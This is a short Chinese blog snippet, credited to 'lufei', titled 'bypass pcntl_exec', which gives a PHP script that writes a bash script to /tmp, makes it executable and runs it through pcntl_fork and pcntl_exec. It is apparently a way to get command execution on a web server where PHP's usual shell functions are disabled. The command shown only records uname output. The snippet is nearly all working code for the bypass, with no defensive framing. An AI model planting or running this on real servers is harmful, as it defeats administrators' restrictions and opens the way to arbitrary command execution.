## bypass pcntl_exec
类似windows下的shell.application
<?php
header("Content-Type: text/plain");
$cmd="/tmp/exec";
@unlink($cmd);
@unlink("/tmp/output");
$c = "#!/usr/bin/env bash\nuname -a > /tmp/output\n";
file_put_contents($cmd, $c);
chmod($cmd, 0777);
switch (pcntl_fork()) {
case 0:
$ret = pcntl_exec($cmd);
exit("case 0");
default:
echo "case 1";
break;
}
本文作者为lufei,转载请注明。